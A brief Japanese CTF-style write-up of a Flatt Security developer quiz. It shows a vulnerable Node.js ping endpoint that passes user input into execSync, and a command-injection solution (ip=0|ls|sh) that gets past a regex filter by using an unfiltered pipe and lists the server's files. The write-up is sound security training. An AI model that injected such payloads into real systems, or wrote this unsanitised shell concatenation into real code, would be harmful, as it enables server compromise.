flatt-security-developers-quiz2 https://twitter.com/flatt_security/status/1549710781918617600

方針

パイプで出力を繋いで、ファイル名を表示します。

フィルタリングとコマンドの実行処理

以下のexec()は、スラッシュで囲まれたパターンをフィルタリングするので、多くの記号が使えません。

if(/[!@#$%\^&*()\-_+=\[\] {}'";:,:?~\\]/.exec(ip_address)){
    res.send("Error! Your request is filtered!");
    return;
}

ip_addressにフィルタリングを回避したコマンドを入力することで実行されてしまうことがわかります。 また、execSync()の処理がエラーの場合、レスポンスが返ってきます。

const cmd = "sh -c 'ping -c 1 " + ip_address + "' 2>&1 >/dev/null; true";
const stderr = execSync(cmd, {"timeout": 1000});
if(stderr != ""){
    res.send("Error! " + stderr);
    return;
}

res.send("Your IP is in a good state!");

解答

パイプ|がフィルタリングされいないことに気づくので、それを使って繋いでいきます。

https://2207okapi.twitter-quiz.flatt.training/?ip=0|ls|sh

Error! sh: 1: main.js: not found sh: 2: node_modules: not found sh: 3: package-lock.json: not found sh: 4: package.json: not found sh: 5: wow_congrats_you_executed_a_system_command.txt: not found
main.js
node_modules
package-lock.json
package.json
wow_congrats_you_executed_a_system_command.txt

感想

Array query(?ip[]=)で長さの制限をバイパスする方法を知る良い機会になりました。